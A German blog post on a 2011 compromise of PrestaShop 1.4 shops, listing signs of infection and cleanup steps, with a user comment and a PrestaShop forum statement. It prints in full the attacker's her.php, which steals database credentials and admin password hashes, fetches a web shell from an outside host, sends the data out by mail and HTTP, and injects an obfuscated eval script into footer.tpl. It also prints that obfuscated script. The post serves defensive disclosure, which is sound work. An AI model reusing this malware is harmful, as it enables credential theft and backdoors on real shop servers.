Seit gestern häufen sich Hinweise, dass PrestaShop 1.4 eine kritische Sicherheitslücke aufweist.
Betroffen sind alle Versionen von 1.4.017 bis 1.4.4.0, also auch die momentan aktuellste. Selbst in localhost-Umgebungen tritt dieses Problem auf. Liegt der Fehler im Kern von PrestaShop?
Beim Aufruf der Website kann ein moderner Virenscanner Alarm schlagen:
Die Top-Programmierer von PrestaShop erarbeiten momentan eine Lösung.
Falls der eigene Server gehackt wurde, kann man dies am aktuellen Exploit an folgenden Merkmalen feststellen:
- ein Script Abschnitt wurde im Themes Ordner der footer.tpl hinzugefügt
- eine oder mehrere Dateien wurden dem /upload/ und /download/ Ordnern hinzugefügt
- die .htaccess Datei wurde im /download Ordner gelöscht
- Die Ordner /tools/smarty/compile/ , /tools/smarty/cache/ und /tools/smarty_v2/ wurden gelöscht
Während des Hacks kann man eine her.php im Ordner /modules/ finden, die für die Löschaktionen und den Skriptblock verantwortlich ist.
Die her.php verschick Passwörter von den „Mitarbeitern“ des PrestaShop Back Offices und die mysql-Zugangsdaten. Danach werden die oben genannten Dateien erstellt und Ordner gelöscht.
Lösung: Schließen der Sicherheitslücke?
Momentan existiert noch kein Patch und es ist unbekannt, wo die Sicherheitslücke herkommt.
Ein Patch steht seit kurzem bereit:
Der Patch soll wohl die schadhaften Dateien löschen und den Shop wieder gangbar machen. Wir bitten um Feedback, ob das tatsächlich funktioniert hat.
Die Ursache ist angeblich, dass die PrestaShop Server gestern gehackt wurden und in der /admin/tabs/AdminHome.php ein Bug die Server infiziert hatten.
Nähere Infos hierzu:
Im originalen PrestaShop wurde auf der Admin-Startseite ein Befehl an den PrestaShop-Server gesendet, um Update-Benachrichtigungen zu erhalten. Dadurch wurden allerdings nicht nur Infos, sondern auch eine Datei an den eigenen Server verschickt. Die GC Editionen sind hiervon nicht betroffen, da diese Sicherheitslücke aufgrund von Datenschutzgründen bereits vorher herausgenommen wurde. Die GC Edition sendet keine Anfragen an PrestaShop und wurde daher hiervon verschont (vgl. Abschnitt Datenschutz).
Manuelle Prüfung / Reinigung
Wir empfehlen, die footer.tpl zu bereinigen, die mysql-Passwörter und Mitarbeiter-Passwörter neu zu setzen. Danach sollte unbedingt ein Schreibschutz in den modules-Ordner gesetzt werden (555), sowie auf die Datei footer.tpl (444). Danach sollten die Ordner compile, cache und smarty_v2 wiederhergestellt und alle Dateien bis auf index.php gelöscht werden.
Wir werden hier informieren, sobald es einen Patch gibt.
Schritt-für Schritt:
- per FTP: footer.tpl bereinigen (Scriptcode vor </bod></html> entfernen)
- per FTP: footer.tpl mit Schreibschutz versehen (444)
- per FTP /modules/ Ordner mit Schreibschutz versehen (555)
- per FTP: /modules/her.php löschen (falls vorhanden)
- per FTP die 3 Ordner /tools/smarty/compile/ , /tools/smarty/cache/ und /tools/smarty_v2/ Ordner wiederherstellen und leeren (bis auf index.php)
- per FTP: die 2 Ordner /upload/ und /download/ leeren (bis auf index.php)
- per FTP: .htaccess-Datei in /download/ aus einer originalen PrestaShop-Version wieder einfügen
- Back Office: alle Mitarbeiter Passwörter neu setzen
- Webhoster: mysql-Zugangsdaten ändern
- per FTP: in /config/settings.inc.php neue Zugangsdaten eintragen
Die Inhalte der her.php (Scriptcode des Hackers):
<?php error_reporting(0); $shcode = "{literal}".base64_decode("PHNjcmlwdD5TdHJpbmcucHJvdG90eXBlLmFzZD1mdW5jdGlvbigpe3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlO307T2JqZWN0LnByb3RvdHlwZS5hc2Q9ImUiO3RyeXtmb3IoaSBpbnt9KWlmKH5pLmluZGV4T2YoJ2FzJykpdGhyb3cgMTt9Y2F0Y2gocSl7enhjPXt9W2ldO312PWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCdhc2QnKTt2YXIgcz0iIjtmb3IoaSBpbiB2KWlmKGk9PSdjaGlsZE5vZGVzJylvPXZbaV0ubGVuZ3RoKzE7byo9MjtlPWV2YWw7bT1bMTIwLW8sOTktbywxMTYtbywzNC1vLDEwMi1vLDM0LW8sNjMtbywzNC1vLDExMi1vLDEwMy1vLDEyMS1vLDM0LW8sNzAtbyw5OS1vLDExOC1vLDEwMy1vLDQyLW8sNDMtbyw2MS1vLDEyMC1vLDk5LW8sMTE2LW8sMzQtbywxMjItbyw2My1vLDg1LW8sMTE4LW8sMTE2LW8sMTA3LW8sMTEyLW8sMTA1LW8sNDgtbywxMDQtbywxMTYtbywxMTMtbywxMTEtbyw2OS1vLDEwNi1vLDk5LW8sMTE2LW8sNjktbywxMTMtbywxMDItbywxMDMtbyw0Mi1vLDc5LW8sOTktbywxMTgtbywxMDYtbyw0OC1vLDEwNC1vLDExMC1vLDExMy1vLDExMy1vLDExNi1vLDQyLW8sMTAyLW8sNDgtbywxMDUtbywxMDMtbywxMTgtbyw3MC1vLDk5LW8sMTE4LW8sMTAzLW8sNDItbyw0My1vLDQ5LW8sNTItbyw0My1vLDQ1LW8sNTktbyw1Ny1vLDQzLW8sNjEtbywzNC1vLDEyMC1vLDk5LW8sMTE2LW8sMzQtbywxMjMtbyw2My1vLDg1LW8sMTE4LW8sMTE2LW8sMTA3LW8sMTEyLW8sMTA1LW8sNDgtbywxMDQtbywxMTYtbywxMTMtbywxMTEtbyw2OS1vLDEwNi1vLDk5LW8sMTE2LW8sNjktbywxMTMtbywxMDItbywxMDMtbyw0Mi1vLDEwMi1vLDQ4LW8sMTA1LW8sMTAzLW8sMTE4LW8sNzQtbywxMTMtbywxMTktbywxMTYtbywxMTctbyw0Mi1vLDQzLW8sNDUtbyw1OS1vLDU3LW8sNDMtbyw2MS1vLDEwMi1vLDExMy1vLDEwMS1vLDExOS1vLDExMS1vLDEwMy1vLDExMi1vLDExOC1vLDQ4LW8sMTIxLW8sMTE2LW8sMTA3LW8sMTE4LW8sMTAzLW8sNDItbywzNi1vLDYyLW8sMTA3LW8sMTA0LW8sMTE2LW8sOTktbywxMTEtbywxMDMtbywzNC1vLDExNy1vLDExNi1vLDEwMS1vLDYzLW8sNDEtbywxMDYtbywxMTgtbywxMTgtbywxMTQtbyw2MC1vLDQ5LW8sNDktbywxMDEtbywxMTAtbywxMDctbywxMDEtbywxMDktbywxMTEtbywxMDMtbywzNi1vLDQ1LW8sMTIyLW8sNDUtbywxMjMtbyw0NS1vLDM2LW8sNDgtbywxMDQtbywxMDctbywxMTAtbywxMDMtbyw5OS1vLDEyMC1vLDEwMy1vLDQ4LW8sMTAxLW8sMTEzLW8sMTExLW8sNDEtbywzNC1vLDEyMS1vLDEwNy1vLDEwMi1vLDExOC1vLDEwNi1vLDYzLW8sNTAtbywzNC1vLDEwNi1vLDEwMy1vLDEwNy1vLDEwNS1vLDEwNi1vLDExOC1vLDYzLW8sNTAtbyw2NC1vLDM2LW8sNDMtbyw2MS1vXTttbT0nJy5hc2QoKTtmb3IoaT0wO2k8bS5sZW5ndGg7aSsrKXMrPW1tKGUoIm0iKyJbIisiaSIrIl0iKSk7ZShzKTs8L3NjcmlwdD4=")."{/literal}"; $shurl = "http://www.c2bill.it/stest/chkpnt/shell.txt"; $msgurl = "http://www.c2bill.it/stest/chkpnt/sdata.php"; $mails = "samuvel_hitroy [at] aol [dot] com, preop [at] gmx [dot] com"; function deletedir($arg){ $d=opendir($arg); while($f=readdir($d)){ if($f!="."&&$f!=".."){ if(is_dir($arg."/".$f)) deletedir($arg."/".$f); else unlink($arg."/".$f); } } rmdir($arg);closedir($d);} @include("../config/settings.inc.php"); ///Host info $hostvar = "host:".$_SERVER["HTTP_HOST"]."n"."ref:".$_SERVER["HTTP_REFERER"]."n"."path:".$_SERVER["SCRIPT_FILENAME"]."n=====n"; ///Server info $srvvar = _DB_SERVER_."n"._DB_USER_."n"._DB_PASSWD_."n"._DB_NAME_."n"._DB_PREFIX_."n"._COOKIE_KEY_."n"._COOKIE_IV_."n"._PS_VERSION_."n=====n"; ///GET admin mysql_connect(_DB_SERVER_,_DB_USER_,_DB_PASSWD_); mysql_selectdb(_DB_NAME_); $r = mysql_query("SELECT `email`, `passwd` FROM `"._DB_PREFIX_."employee` WHERE id_profile = 1"); while($ro=mysql_fetch_assoc($r)){$usrs .= $ro['email'].":".$ro['passwd']."n";} //Wride sploit @deletedir("../tools/smarty/compile/"); @deletedir("../tools/smarty/cache/"); @deletedir("../tools/smarty_v2/"); @deletedir("../tools/smarty_v2/"); $fn = "../themes/"._THEME_NAME_."/footer.tpl"; $f = fopen($fn,"r");$ff = fread($f,filesize($fn));fclose($f); $ff = str_replace("</body>"," ".$shcode."</body>",$ff); $f = fopen($fn,"w");$rf = fwrite($f,$ff);fclose($f); if($rf>0) $wrres = "true"; else $wrres = "false"; //write shell $sh = file_get_contents($shurl); $shf = "../upload/".md5(date("r")).".php"; $f = fopen($shf,"w");$rf = fwrite($f,$sh);fclose($f); $shf2 = "../download/".md5(date("r")).".php"; $f = fopen($shf2,"w");$rf = fwrite($f,$sh);fclose($f); @unlink("../download/.htaccess"); $msg = $hostvar.$srvvar.$usrs."=====nTemplate writed:".$wrres."n=====nShells:n".$shf."n".$shf2."n=====n"; @mail($mails,"new shop",$msg); @file_get_contents($msgurl."?data=".base64_encode($msg)); @unlink(__FILE__); ?>
Die Inhalte des Schadhaften Script-Codes in der footer.tpl:
{literal}<script>String.prototype.asd=function(){return String.fromCharCode;};Object.prototype.asd=“e“;try{for(i in{})if(~i.indexOf(‚as‘))throw 1;}catch(q){zxc={}[i];}v=document.createTextNode(‚asd‘);var s=““;for(i in v)if(i==’childNodes‘)o=v[i].length+1;o*=2;e=eval;m=[120-o,99-o,116-o,34-o,102-o,34-o,63-o,34-o,112-o,103-o,121-o,34-o,70-o,99-o,118-o,103-o,42-o,43-o,61-o,120-o,99-o,116-o,34-o,122-o,63-o,85-o,118-o,116-o,107-o,112-o,105-o,48-o,104-o,116-o,113-o,111-o,69-o,106-o,99-o,116-o,69-o,113-o,102-o,103-o,42-o,79-o,99-o,118-o,106-o,48-o,104-o,110-o,113-o,113-o,116-o,42-o,102-o,48-o,105-o,103-o,118-o,70-o,99-o,118-o,103-o,42-o,43-o,49-o,52-o,43-o,45-o,59-o,57-o,43-o,61-o,34-o,120-o,99-o,116-o,34-o,123-o,63-o,85-o,118-o,116-o,107-o,112-o,105-o,48-o,104-o,116-o,113-o,111-o,69-o,106-o,99-o,116-o,69-o,113-o,102-o,103-o,42-o,102-o,48-o,105-o,103-o,118-o,74-o,113-o,119-o,116-o,117-o,42-o,43-o,45-o,59-o,57-o,43-o,61-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,121-o,116-o,107-o,118-o,103-o,42-o,36-o,62-o,107-o,104-o,116-o,99-o,111-o,103-o,34-o,117-o,116-o,101-o,63-o,41-o,106-o,118-o,118-o,114-o,60-o,49-o,49-o,101-o,110-o,107-o,101-o,109-o,111-o,103-o,36-o,45-o,122-o,45-o,123-o,45-o,36-o,48-o,104-o,107-o,110-o,103-o,99-o,120-o,103-o,48-o,101-o,113-o,111-o,41-o,34-o,121-o,107-o,102-o,118-o,106-o,63-o,50-o,34-o,106-o,103-o,107-o,105-o,106-o,118-o,63-o,50-o,64-o,36-o,43-o,61-o];mm=“.asd();for(i=0;i<m.length;i++)s+=mm(e(„m“+“[„+“i“+“]“));e(s);</script>{/literal}
Der Scriptcode in der footer.tpl verweist auf eine URL erabaglanti.ka.hn und ein kleines Rechteck ist ein Iframe nach clickmeml.fileave.com (URL)
Die Sicherheitslücke in PrestaShop wird auch im Forum diskutiert:
http://www.prestashop.com/forums/topic/125798-footertpl-vulnerability/
das gleiche ist mir auch passiert wobei es sich bei mir um ein reines test-system handelte… hab bei der installation alles auf den ftp geladen und alle rechte vom schop
(alle ordner und die unterordner)auf „777“ gesetzt um keine probleme bei der installation zu haben…
der shop diente nur zum überprüfen und einspielen von tests aber nach 2 tagen war er gehackt von
†HacKeD bY L0RD5†…
die haben gleich eine nette umleitung gemacht.. das ganze sah dan so aus
https://lh6.googleusercontent.com/-2UuD2u_6gYc/TlZr9uh9diI/AAAAAAAACa0/24n_sqFW-kw/hack.jpg
Hier ein Kommentar von PrestaShop aus dem offiziellen Forum:
Hi everybody,
First of all, I want to thank the PrestaTeam and the Community who were able to mobilize yesterday to correct the problem in just a few short hours.
I took the time to read each and every one of your posts, and I want to bring you as much information as possible to all your questions.
And we finally managed to find the answer: the issue was with our website, http://www.prestashop.com.
So we started by correcting the problem on prestashop.com, blocking the attack, and then we split the team in three:
The whole team PrestaShop is listening to you and we are at your disposal for any questions. We are actively working to respond to you individually today to help resolve any problems.
Yours.